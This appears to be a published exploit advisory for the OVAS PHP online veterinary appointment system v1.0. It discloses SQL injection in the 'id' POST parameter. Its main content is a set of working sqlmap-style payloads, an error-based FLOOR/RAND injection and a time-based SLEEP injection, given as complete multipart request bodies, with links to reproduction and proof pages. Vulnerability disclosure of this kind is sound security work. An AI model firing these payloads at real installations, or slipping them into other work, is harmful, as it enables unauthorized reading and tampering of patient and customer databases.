## Titles: OVAS - PHP (by: oretnom23 ) v1.0 Multiple-SQLi 
## Author: nu11secur1ty
## Date: 09/17/2024
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/15119/online-veterinary-appointment-system-using-phpoop-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

STATUS: HIGH- Vulnerability


[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: MULTIPART id ((custom) POST)
    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: ------WebKitFormBoundarytjqQc9zyEbolE52F
Content-Disposition: form-data; name="id"

' OR (SELECT 3497 FROM(SELECT COUNT(*),CONCAT(0x7176627671,(SELECT (ELT(3497=3497,1))),0x716a6a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# yxZw
------WebKitFormBoundarytjqQc9zyEbolE52F
Content-Disposition: form-data; name="fullname"

rbzEWwia
------WebKitFormBoundarytjqQc9zyEbolE52F
Content-Disposition: form-data; name="contact"

rbz

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: ------WebKitFormBoundarytjqQc9zyEbolE52F
Content-Disposition: form-data; name="id"

' AND (SELECT 4207 FROM (SELECT(SLEEP(7)))fYjC)# qfqw
------WebKitFormBoundarytjqQc9zyEbolE52F
Content-Disposition: form-data; name="fullname"

rbzEWwia
------WebKitFormBoundarytjqQc9zyEbolE52F
Content-Disposition: form-data; name="contact"

rbz
---
```

## Reproduce:
[href](https://www.patreon.com/posts/ovas-1-0-sqli-112232033)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/09/ovas-php-by-oretnom23-v10-multiple-sqli.html)

## Time spent:
01:27:00


-- 
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>